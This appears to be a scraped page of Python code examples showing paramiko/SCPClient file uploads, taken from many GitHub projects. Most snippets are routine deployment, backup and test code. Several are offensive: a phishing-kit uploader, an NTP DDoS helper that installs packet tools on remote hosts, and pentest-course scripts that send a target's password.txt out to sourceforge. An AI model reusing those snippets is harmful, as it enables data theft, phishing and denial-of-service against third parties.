コード例 #1
0
ファイル: phish.py プロジェクト: AjaniBurgos/CS_445_Phisher
def enable(website):
    print(
        "Before starting our phisher we need your login info to upload to a server"
    )
    user = input("Enter username: "******"Enter password: "******"Enter port: ")

    index = input("Enter filepath to desired index.html file: ")

    print("Uploading stolen website to personal website...")
    ssh = SSHClient()
    ssh.load_system_host_keys()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(website, port, user, password)

    scp = SCPClient(ssh.get_transport())
    scp.put(index)

    sleep(3)

    print(
        "Website successfully uploaded, you may need to send it somewhere else in your home directory, however."
    )
    return 0
コード例 #2
0
def CopyFile(connectionlist, FiletoCopy, PathtoCopy):
    for key, value in connectionlist.items():
        try:
            hostip = key
            connection = value
            scp = SCPClient(connection.get_transport(), sanitize=lambda x: x)
            print("Copying file {} to {} {}".format(FiletoCopy, hostip,
                                                    PathtoCopy))
            # scp.get(remote_path=FiletoCopy, local_path=PathtoCopy)
            scp.put(FiletoCopy, PathtoCopy)
        except:
            print("Not able to transfer the file to {}".format(hostip))
            continue
コード例 #3
0
ファイル: voice_mail.py プロジェクト: YuraSerko/globalhome
def copy_file(file_in):
    ##### Скрипт копирующий файл!!!!
    def createSSHClient(server, port, user, password):
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(server, port, user, password)
        return client

    print "'%s %s %s %s'" % (FREESWITCH['fs1']['SSH_HOST'], FREESWITCH['fs1']['SSH_PORT'], FREESWITCH['fs1']['SSH_USER'], FREESWITCH['fs1']['SSH_PASSWORD'])
    ssh = createSSHClient(FREESWITCH['fs1']['SSH_HOST'], FREESWITCH['fs1']['SSH_PORT'], FREESWITCH['fs1']['SSH_USER'], FREESWITCH['fs1']['SSH_PASSWORD'])
    scp = SCPClient(ssh.get_transport())
    scp.put(file_in + '.wav', "/usr/local/sounds/all_files/voicemail")
コード例 #4
0
ファイル: my_ivr.py プロジェクト: YuraSerko/globalhome
def scp_file(file_in, bill_acc):
    ##### Скрипт копирующий файл!!!!
    # from socket import timeout as SocketTimeout
    def createSSHClient(server, port, user, password):
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(server, port, user, password)
        return client

    # for x in FREESWITCH:
    print "'%s %s %s %s'" % (settings.FREESWITCH['fs1']['SSH_HOST'], settings.FREESWITCH['fs1']['SSH_PORT'], settings.FREESWITCH['fs1']['SSH_USER'], settings.FREESWITCH['fs1']['SSH_PASSWORD'])
    ssh = createSSHClient(settings.FREESWITCH['fs1']['SSH_HOST'], settings.FREESWITCH['fs1']['SSH_PORT'], settings.FREESWITCH['fs1']['SSH_USER'], settings.FREESWITCH['fs1']['SSH_PASSWORD'])
    scp = SCPClient(ssh.get_transport())
    str3 = file_in + '.wav'
    scp.put(str3, "/usr/local/sounds/all_files/myivr/%s" % (str(bill_acc)))
コード例 #5
0
ファイル: test.py プロジェクト: sanalkks/scp.py
    def test_up_and_down(self):
        '''send and receive files with the same client'''
        previous = os.getcwd()
        testfile = os.path.join(self._temp, 'testfile')
        testfile_sent = os.path.join(self._temp, 'testfile_sent')
        testfile_rcvd = os.path.join(self._temp, 'testfile_rcvd')
        try:
            os.chdir(self._temp)
            with open(testfile, 'w') as f:
                f.write("TESTING\n")
            put(self.ssh.get_transport(), testfile, testfile_sent)
            get(self.ssh.get_transport(), testfile_sent, testfile_rcvd)

            assert open(testfile_rcvd).read() == 'TESTING\n'
        finally:
            os.chdir(previous)
コード例 #6
0
 def scp_put_files(self):
     """"""
     '''SET CONFIG SCP PARAMS'''
     if self.conf != None:
         '''SET CONNECTION PREFS'''
         #self.set_connection_params()
         '''SET SSH CLIENT AND TRANSPORT'''
         self.create_Paramiko_SSHClient()
         scp = SCPClient(self.ssh_client.get_transport())
         '''SET PREFS AND COPY ALL CONFIGS AND SCRIPTS to DUT'''
         #self.set_scp_details()
         scp.put(self.ssh_scp_content_location,
                 remote_path=self.ssh_target_dir)
         return
     else:
         raise ValueError("Configuration file is not PRESENT in the class")
コード例 #7
0
ファイル: test.py プロジェクト: jbardin/scp.py
    def test_up_and_down(self):
        '''send and receive files with the same client'''
        previous = os.getcwd()
        testfile = os.path.join(self._temp, 'testfile')
        testfile_sent = os.path.join(self._temp, 'testfile_sent')
        testfile_rcvd = os.path.join(self._temp, 'testfile_rcvd')
        try:
            os.chdir(self._temp)
            with open(testfile, 'w') as f:
                f.write("TESTING\n")
            put(self.ssh.get_transport(), testfile, testfile_sent)
            get(self.ssh.get_transport(), testfile_sent, testfile_rcvd)

            with open(testfile_rcvd) as f:
                self.assertEqual(f.read(), 'TESTING\n')
        finally:
            os.chdir(previous)
コード例 #8
0
ファイル: ddos-NTP.py プロジェクト: lvazcas/NTP_DDoS_Python
def sshAttacker(host, user, passwd, comando):
	if comando == 'instalar':
		execute = 'tar xzf bittwist-linux-2.0.tar.gz && rm bittwist-linux-2.0.tar.gz && cd bittwist-linux-2.0/ && sudo make install'
	elif comando == 'desinstalar':
		execute = 'cd bittwist-linux-2.0/ && sudo make uninstall'
	elif comando == 'eliminar':
		execute = 'rm -rf bittwist-linux-2.0/ && sudo pkill bittwist'

	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	ssh.connect(host, username=user, password=passwd)
	
	if comando == '':
		ssh.close()
		return

	if comando == 'instalar':
		scp = SCPClient(ssh.get_transport())	
		scp.put('./bittwist-linux-2.0.tar.gz', '~/')
		scp.close()

	transport = ssh.get_transport()
	session = transport.open_session()
	session.set_combine_stderr(True)
	session.get_pty()
	session.exec_command(execute)
	stdin = session.makefile('wb', -1)
	stdout = session.makefile('rb', -1)
	stdin.write(passwd + '\n')
	stdin.flush()

	if comando == 'instalar':
		for n in stdout.read().splitlines():
			print host +'----'+ n

	ssh.close()

	if comando == 'instalar':
		print 'Intalado Bittwist en '+host		
	elif comando == 'desinstalar':
		print 'Software desinstalado del host '+host
	elif comando == 'eliminar':
		print 'Directorio y proceso eliminados del host '+host
コード例 #9
0
def sync_mods(ssh, scp, pwd, local_mod_path, server_mod_path):
    print("Stopping factorio.service...")
    cmd = "echo " + pwd + " | sudo -S systemctl stop factorio.service"
    stdin, stdout, stderr = ssh.exec_command(cmd)
    time.sleep(3)

    print("Uploading mod files via SCP...")
    for item in os.listdir(local_mod_path):
        scp.put(local_mod_path + os.sep + item, server_mod_path + '/' + item)
        time.sleep(3)

    print("Restarting factorio.service...")
    cmd = "echo " + pwd + " | sudo -S systemctl restart factorio.service"
    stdin, stdout, stderr = ssh.exec_command(cmd)
    time.sleep(3)

    cmd = "echo " + pwd + " | sudo -S systemctl status factorio.service --no-pager"
    stdin, stdout, stderr = ssh.exec_command(cmd)
    print("".join(stdout.readlines()) + "\nRestart Complete!")
コード例 #10
0
ファイル: deploy.py プロジェクト: Sp1ke-xD/Docs-Scripts
def deploy(ip):

    bkpDT = customdatetime("%d%b%Y_%H%M",0,0,0)
    app_path = "%s" %(str(sys.argv[1]))
    bkp_path = "/home/USER/Downloads/py/tarbkp/%s_Bkp.tar.gz" %(bkpDT)
    filename = path.basename(bkp_path)
    params = "-zcvf"
    SSH_PASSWORD = SSH_USERNAME = "******"
    Remote_tar_path = "/home/USER/test/bkptar"
#    script_path = os.getcwd()

    print "Filename : %r " % (filename)

    if subprocess.call(['tar',params ,bkp_path, app_path])!=True:
        print "\n\n#################### The backup is completed ####################"
    else:
        print "Some error occured while making tar, Terminating the Script"
        quit()

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh_stdin = ssh_stdout = ssh_stderr = None
    ssh.connect(ip, port=22, username = SSH_USERNAME, password = SSH_PASSWORD)
    scp = SCPClient(ssh.get_transport())
    scp.put(bkp_path, recursive = True, remote_path = Remote_tar_path)
    scp.close()

    RemoteTarExtract = "tar -xvzf" + Remote_tar_path + "/" + filename

    print "RemoteTarCommand : %s " %(RemoteTarExtract)
#    quit()

    try:
        ssh.connect(ip, port=22, username = SSH_USERNAME, password = SSH_PASSWORD)
        ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(RemoteTarExtract)
    except Exception as e:
        print "SSH Connection Error : %r" %(e)

    if ssh_stdout:
        sys.stdout.write(ssh_stdout.read())
    if ssh_stderr:
        sys.stderr.write(ssh_stderr.read())
コード例 #11
0
ファイル: master_listen.py プロジェクト: zeroch/catfuse
def sendFileToReplica(query):
    print query
    query_list = query.split(',')
    ip = query_list[0]
    file_list = query_list[1:]
    
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(ip,username='******',password='',key_filename='/home/ubuntu/.ssh/'+ip+'.pem')

    scp = scp.SCPClient(ssh.get_transport())
    
    for file in file_list:
        scp.put('/home/ubuntu/fuser/'+file,'')

    ssh.close()


    return "Send OK"
コード例 #12
0
def upload_save(ssh, scp, pwd, local_path, server_path):
    print("Uploading Server Save File...")

    print("Stopping factorio.service...")
    cmd = "echo " + pwd + " | sudo -S systemctl stop factorio.service"
    stdin, stdout, stderr = ssh.exec_command(cmd)
    time.sleep(3)

    print("Uploading save zip file via SCP...")
    scp.put(local_path, server_path)

    print("Restarting factorio.service...")
    cmd = "echo " + pwd + " | sudo -S systemctl restart factorio.service"
    stdin, stdout, stderr = ssh.exec_command(cmd)
    time.sleep(3)

    cmd = "echo " + pwd + " | sudo -S systemctl status factorio.service --no-pager"
    stdin, stdout, stderr = ssh.exec_command(cmd)
    print("".join(stdout.readlines()))

    stdin, stdout, stderr = ssh.exec_command("ls -al /opt/factorio/saves/")
    print("".join(stdout.readlines()) + "\nUploading Complete!")
コード例 #13
0
def main():
    with open('C:\\Users\\ayc08\\Documents\\GitHub\\python_study\\src\\nonpass\\sample\\sample.csv', 'r') as f:
        read = csv.DictReader(f)
        for row in read:
            source_host = row.get('source_host')
            print(source_host)

            source_host_fqdn = source_host + '.b.' + source_host[-3:] + '.server'
            print(source_host_fqdn)

            with paramiko.SSHClient() as ssh:
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(hostname=source_host_fqdn, port=22, username="", password="")

                with scp.SCPClient(ssh.get_transport()) as scp:
                    scp.put('','')
                    source_dir = row.get('source_directory') + '/.ssh'

                    stdin, stdout, stderr = ssh.exec_command('python ' + GENERATE_PUB_KEY + ' ' + source_dir)
                    scp.get('','')
                    ssh.exec_command('rm ' + GENERATE_PUB_KEY)

            target_host = row.get('target_host')
            print(target_host)

            target_host_fqdn = target_host + '.b.' + target_host[-3:] + '.server'
            print(target_host_fqdn)

            with paramiko.SSHClient() as ssh:
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(hostname=target_host_fqdn, port=22, username="", password="")

                with scp.SCPClient(ssh.get_transport()) as scp:
                    scp.put('','')
                    target_dir = row.get('target_directory') + '/.ssh'

                    stdin, stdout, stderr = ssh.exec_command('python ' + SETTING_PUB_KEY + ' ' + target_dir)
                    ssh.exec_command('rm ' + SETTING_PUB_KEY)
コード例 #14
0
ファイル: backup.py プロジェクト: RQ23A/Backup2
                    continue
	    print '\nAll deleted'

# Deleting empty directories

for path in linux_paths:
    for root, dirs, files in os.walk(path):
        for dir in dirs:
            try:
                if len(os.listdir(os.path.join(root, dir))) == 0:
                    emptydirectorys.append (os.path.join(root, dir))
                    os.rmdir(os.path.join(root, dir))
            except IOError:
                print 'No Permission %s' % os.path.join(root, dir)
                continue

# Copying

choice2 = raw_input('\nCopy folders to server? [y/n]: ')
if choice2 == str('y'):
    sftp.mkdir('/home/' + options.user + '/backups/'  + foldername)
    for folder in linux_paths:
        try:
            scp.put(folder, '/home/' + options.user + '/backups/' + foldername, True, False)
            print 'Copied ' + folder
        except IOError:
            print folder + ' not found.'
            continue
    print 'All copied'

コード例 #15
0
def send():
    import paramiko
    send = open("settings.ink", "r")
    ilk = send.readline()
    hostname = ilk.rstrip()

    ilk = send.readline()
    username = ilk.rstrip()

    ilk = send.readline()
    password = ilk.rstrip()

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password)
    except:
        print("[!] Cannot connect to the SSH Server")

    from scp import SCPClient
    scp = SCPClient(client.get_transport())
    name = open("filenamefortruba.ink", "r")
    adres1 = name.readline()
    adres1 = adres1.rstrip()
    adres2 = adres1[0:-3]
    adres2 = adres2 + ".job"

    filename = name.readline()
    filename = filename.rstrip()

    liste2 = ['/truba', 'home', username, filename]
    gonderilen = '/'.join(liste2)
    scp.put(adres1, gonderilen)

    scp = SCPClient(client.get_transport())
    filename2 = filename[0:-3]
    filename2 = filename2 + ".job"
    liste2 = ['/truba', 'home', username, filename2]
    gonderilen = '/'.join(liste2)

    scp.put(adres2, gonderilen)

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password)
    except:
        print("[!] Cannot connect to the SSH Server")

    name = open("filenamefortruba.ink", "r")
    line = name.readlines()
    lines = str(line)
    search = lines.find("#NuNuTRUBA_GIDENDOSYALAR=")
    search = search + 25
    i = search
    file = []
    yok = search

    if (lines[yok] != ":"):
        while True:
            search = search + 1

            if (lines[search] == ","):
                file = lines[i:search]
                liste = ['/truba', 'home', username, file]
                host = '/'.join(liste)

                name = open("filenamefortruba.ink", "r")
                adres = name.readline()
                adres = str(adres)
                adres = adres[::-1]
                a = 0
                while True:
                    a = a + 1
                    if (adres[a] == "/"):
                        break
                adres = adres[a + 1:]
                adres = adres[::-1]
                liste2 = [adres, file]
                local = '/'.join(liste2)
                from scp import SCPClient
                scp = SCPClient(client.get_transport())

                scp.put(local, host)
                i = search + 1

            if (lines[search] == ":"):
                file = lines[i:search]
                from scp import SCPClient
                scp = SCPClient(client.get_transport())
                liste = ['/truba', 'home', username, file]
                host = '/'.join(liste)

                name = open("filenamefortruba.ink", "r")
                adres = name.readline()
                adres = str(adres)
                adres = adres[::-1]
                a = 0
                while True:
                    a = a + 1
                    if (adres[a] == "/"):
                        break
                adres = adres[a + 1:]
                adres = adres[::-1]
                liste2 = [adres, file]
                local = '/'.join(liste2)
                scp.put(local, host)

                i = search + 1

                break

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password)
    except:
        print("[!] Cannot connect to the SSH Server")

    root = tk.Tk()
    name = open("filenamefortruba.ink", "r")
    readcom = open("command.ink", "r")
    commands = readcom.readlines()
    command = str(commands)

    i = 2
    a = 2
    while True:
        i = i + 1
        if (command[i] == ","):
            sendcommand = command[a:i]
            stdin, stdout, stderr = client.exec_command(sendcommand)
            sonuc = stdout.read()
            metin = sonuc.decode("utf-8")
            lab = Label(root, text=metin).pack()
            a = i + 1
        if (command[i] == ":"):

            break
コード例 #16
0
prompting the user and this done via > set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''

# accept unknown host keys
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())



# authenticate ourselves to the sourceforge server
ssh_client.connect("web.sourceforge.net", username="******", password="******")
print '[+] Authenticating against web.sourceforge.net ...'

# after a sucessful authentication the ssh session id will be passed into SCPClient function
scp = scp.SCPClient(ssh_client.get_transport())

# upload to file( in this case it's password.txt) that we want to grab from the target to /root directroy
scp.put('C:\Users\Max\Desktop\KeePass-2.29-Setup.exe')
print '[+] File is uploaded '


scp.close()
print '[+] Closing the socket'








コード例 #17
0
import paramiko
import scp

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect('web.sourceforge.net', username='******', password='******')

scp = scp.SCPClient(ssh_client.get_transport())

scp.put('path_to_file')
print '[+] File is uploaded.'

scp.close()
コード例 #18
0
ssh_client = paramiko.SSHClient(
)  # creating an ssh_client instance using paramiko sshclient class
'''
when you connect to an ssh server at the first time, if the ssh server keys are not stores on the client side, you will get a warning
message syaing that the server keys are not chached in the system and will promopt whether you want to accecpt those keys.

since we do an automation on the target side, we inform paramiko to accept these keys for the first time without interrupting the session or
prompting the user and this done via > set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''

ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect("web.sourceforge.net",
                   username="******",
                   password="******"
                   )  #Authenticate ourselves to the sourceforge server
print '[+] Authenticating against web.sourceforge.net ...'  #please use your own login credentials :D

scp = scp.SCPClient(
    ssh_client.get_transport()
)  #after a sucessful authentication the ssh session id will be passed into SCPClient function

scp.put(
    'C:/Users/Hussam/Desktop/password.txt'
)  # upload to file( in this case it's password.txt) that we want to grab from the target to /root directroy
print '[+] File is uploaded '

scp.close()
print '[+] Closing the socket'
コード例 #19
0
ファイル: paramikoTest.py プロジェクト: dwblair/irkit
def sendMostRecentFile(baseDir, remotepath,server,user,password):
    files=os.listdir(baseDir)
    latestFile=getRecentfile(baseDir,files)
    ssh = createSSHClient(server, user, password)
    scp = scp.SCPClient(ssh.get_transport())
    scp.put(latestFile,'pvos.org/ircam/latest.png')
コード例 #20
0
ファイル: yun_scp_upload.py プロジェクト: smith1401/YUN
    except paramiko.AuthenticationException:
        print("Authentication failed when connecting to {0}\n".format(server))
        sys.exit(1)
    except:
        print("Could not SSH to {0}, waiting for it to start\n".format(server))
        i += 1
        time.sleep(2)

    # If we could not connect within time limit
    if i == 30:
        print("Could not connect to {0}. Giving up\n".format(server))
        sys.exit(1)

try:
    scp = SCPClient(ssh.get_transport())
    scp.put(hexFile, '/etc/arduino/temp.hex')
    print("File {0} uploaded\n".format(hexFile))
except:
    print("File could not be uploaded\n")

try:
    stdin, stdout, stderr = ssh.exec_command(
        'cd /usr/bin; ./merge-sketch-with-bootloader.lua /etc/arduino/temp.hex'
    )
    stdin, stdout, stderr = ssh.exec_command(
        'run-avrdude /etc/arduino/temp.hex')
    # Wait for the command to terminate
    while not stdout.channel.exit_status_ready():
        for line in stdout.readlines():
            print(line)
        for line in stderr.readlines():
コード例 #21
0
ファイル: jobs.py プロジェクト: lakinsm/csu-cs-cluster
shutil.rmtree(dirname+'outputfiles', ignore_errors=True)
os.makedirs(dirname+'outputfiles')


c = paramiko.SSHClient()
c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect('abdoserver2.cvmbs.colostate.edu')

scp = scp.SCPClient(c.get_transport())
scp.get('/home/lakinsm/hmm_testing/cs_cluster_files/parts/project7/{}'.format(fastafile), dirname+'inputfiles/{}'.format(fastafile))

## FIXME: check to see if models are intact/present

p = subprocess.Popen(HMMER_CMD.format(cpu, dirname, outname, dirname, dirname, fastafile), stderr=subprocess.PIPE, shell=True)

stderrlines = list(p.stderr)
sys.stderr.write('\n'.join([str(x) for x in stderrlines])+'\n')
p.wait()

if is_complete(dirname+'outputfiles/{}'.format(outname)):
    scp.put(dirname+'outputfiles/{}'.format(outname), '/home/lakinsm/hmm_testing/cs_cluster_files/output/project7/groupIII/{}'.format(outname))

scp.close()
c.close()





コード例 #22
0
ファイル: test_scp.py プロジェクト: YuraSerko/globalhome
        'SSH_USER': '******',
        'SSH_PORT': 22,
        'SSH_PASSWORD': '******',
        'ESL_HOST': '192.168.20.12',
        'ESL_PORT': '8021',
        'ESL_PASSWORD': '******'
    },

}

import paramiko, scp
from scp import SCPClient

##### Скрипт копирующий файл!!!!
from socket import timeout as SocketTimeout
def createSSHClient(server, port, user, password):
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(server, port, user, password)
    return client

for x in FREESWITCH:
    print "'%s %s %s %s'" % (FREESWITCH[x]['SSH_HOST'], FREESWITCH[x]['SSH_PORT'], FREESWITCH[x]['SSH_USER'], FREESWITCH[x]['SSH_PASSWORD'])
    ssh = createSSHClient(FREESWITCH[x]['SSH_HOST'], FREESWITCH[x]['SSH_PORT'], FREESWITCH[x]['SSH_USER'], FREESWITCH[x]['SSH_PASSWORD'])
    scp = SCPClient(ssh.get_transport())
    str3 = file_in + '.wav'
    scp.put(str3, "/usr/local/freeswitch/sounds/ru/RU/elena/gh/8000/myivr")
##### Конец скрипта

コード例 #23
0
ファイル: sender.py プロジェクト: dwblair/irkit
    print "updating remote webpage ..."
    scp1.put(latestFiles[0],'pvos.org/ircam/latestA.png')
    scp1.put(latestFiles[1],'pvos.org/ircam/latestB.png')


"""
remotepath='pvos.org/ircam/latest.png'
baseDir="./imgs"
server='habeo.net'
user='******'
password='******'

sendMostRecentFile(baseDir,remotepath,server,user,password)
"""

"""
remotepath='pvos.org/ircam/latest.png'
baseDir="./imgs"
server='habeo.net'
user='******'
password='******'
files=os.listdir(baseDir)
print files
latestFile=getRecentfile(baseDir,files)
print latestFile
ssh = createSSHClient(server=server, user=user, password=password)
print ssh
scp = scp.SCPClient(ssh.get_transport())
scp.put(latestFile,'pvos.org/ircam/latest.png')
"""
コード例 #24
0
import paramiko
import scp

#SSH Client
linux_ipaddress = '10.1.1.10'
ssh_client = paramiko.SSHClient()

#SSH Connection
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=linux_ipaddress,
                   port=22,
                   allow_agent=False,
                   username='******',
                   password='******',
                   look_for_keys=False)

#SCP setup
scp = scp.SCPClient(ssh_client.get_transport())

#Put files on the remote host
scp.put('FILE', 'DESTINATION PATH')

#Put directory on the remote host
scp.put('DIRECTORY', recursive=True, remote_path='DESTINATION PATH')

#Get files from the remote host
scp.get('FILE PATH TO COPY THE FILE/DIRECTORY', 'FILE TO GET')

#Close the scp conneciton
scp.close()
コード例 #25
0
import scp
import json
from paramiko import SSHClient
from scp import SCPClient
from avi.sdk.avi_api import ApiSession

host = "10.91.55.11"
user = "******"
password = "******"

ssh = SSHClient()
ssh.load_system_host_keys()
ssh.connect(host, username=user, password=password)

scp = SCPClient(ssh.get_transport())
scp.put('../controller.17.2.11.pkg', remote_path='/tmp')

session = ssh.get_transport().open_session()
session.set_combine_stderr(True)
session.get_pty()
session.exec_command(
    'sudo cp /tmp/controller.17.2.11.pkg /var/lib/avi/upgrade_pkgs/controller.pkg'
)
stdin = session.makefile('wb', -1)
stdout = session.makefile('rb', -1)
stdin.write(password + '\n')
stdin.flush()
print(stdout.read().decode("utf-8"))
session.close()
scp.close()
ssh.close()
コード例 #26
0
import json
from paramiko import SSHClient
from scp import SCPClient
from time import sleep

host="10.91.55.11"
user="******"
password="******"
patch='controller_patch.17.2.9-3p2.pkg'

ssh = SSHClient()
ssh.load_system_host_keys()
ssh.connect(host, username=user, password=password)

scp = SCPClient(ssh.get_transport())
scp.put('../' + patch, remote_path='/tmp')

session = ssh.get_transport().open_session()
session.set_combine_stderr(True)
session.get_pty()
session.exec_command('shell')
stdin = session.makefile('wb', -1)
stdout = session.makefile('rb', -1)
stdin.write(user + '\n')
print(stdout.read().decode("utf-8"))
stdin.write(password + '\n')
print(stdout.read().decode("utf-8"))
stdin.write('patch system image_path /tmp/' + patch + '\n')
print(stdout.read().decode("utf-8"))
stdin.flush()
コード例 #27
0
import paramiko
import scp

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect("web.sourceforge.net", username="", password="")
print '[+] Authenticating against web.sourceforge.net...'

scp = scp.SCPClient(ssh_client.get_transport())
scp.put('C:\Users\user\Desktop\password.txt')
print '[+] File is uploaded'
scp.close()
print '[+] Closing the socket'
コード例 #28
0
def copy_file_and_print_response(scp, file_paths):
    (source, target) = file_paths
    print("> Source: {}".format(source))
    print("> Target: {}".format(target))
    return scp.put(source, target)
コード例 #29
0
ファイル: TestParamiko.py プロジェクト: bmuth/Kiln
import paramiko
import scp

ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
#ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
key = paramiko.RSAKey.from_private_key_file ("Brian_rsa")
ssh.connect ('192.168.2.27', username = '******', pkey = key)

#sftp = ssh.open_sftp()
#sftp.put ('2019-09-05 21.29.38.png', '/home/brian')
scp = scp.SCPClient (ssh.get_transport())
scp.put("K2019-09-05 21.29.38.png")
print ('done')
コード例 #30
0
from __future__ import print_function
コード例 #31
0
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn  https://jo.linkedin.com/in/python2

import paramiko
import scp

# File Management on SourceForge
# [+] https://sourceforge.net/p/forge/documentation/File%20Management/

ssh_client = paramiko.SSHClient(
)  # creating an ssh_client instance using paramiko sshclient class

ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect(
    "web.sourceforge.net", username="******",
    password="******")  #Authenticate ourselves to the sourceforge
print("[+] Authenticating against web.sourceforge.net")

scp = scp.SCPClient(
    ssh_client.get_transport()
)  #after a sucessful authentication the ssh session id will be passed into SCPClient function

scp.put("C:/Users/Alex/Desktop/passwords.txt")  # upload a file
print("[+} File is uploaded")

scp.close()

print("[+] Closing the socket")
コード例 #32
0
import paramiko, scp

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect("web.sourceforge.net",
                   username="******",
                   password="******")
print '[*]Authenticating against SourceForge'

scp = scp.SCPClient(ssh_client.get_transport())
scp.put("C:\Users\eugene32\Desktop\M5.rtf")
print "[+]File uploaded"

scp.close()
print "[+]Closing the socket now..."
コード例 #33
0
ssh_client = paramiko.SSHClient(
)  # creating an ssh_client instance using paramiko sshclient class
'''
when you connect to an ssh server at the first time, if the ssh server keys are not stores on the client side, you will get a warning
message syaing that the server keys are not chached in the system and will promopt whether you want to accecpt those keys.

since we do an automation on the target side, we inform paramiko to accept these keys for the first time without interrupting the session or
prompting the user and this done via > set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''

ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect("web.sourceforge.net",
                   username="******",
                   password="******"
                   )  #Authenticate ourselves to the sourceforge server
print '[+] Authenticating against web.sourceforge.net ...'  #please use your own login credentials :D

scp = scp.SCPClient(
    ssh_client.get_transport()
)  #after a sucessful authentication the ssh session id will be passed into SCPClient function

scp.put(
    'C:\\Users\\test\\Desktop\\password.txt'
)  # upload to file( in this case it's password.txt) that we want to grab from the target to /root directroy
print '[+] File is uploaded '

scp.close()
print '[+] Closing the socket'
コード例 #34
0
ファイル: testssh.py プロジェクト: zeroch/catfuse
import paramiko
import scp

ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.0.0.151',username='******',password='',key_filename='/home/ubuntu/.ssh/testssh.pem')

scp = scp.SCPClient(ssh.get_transport())
scp.put('list.h','/tmp/list.h')

ssh.close()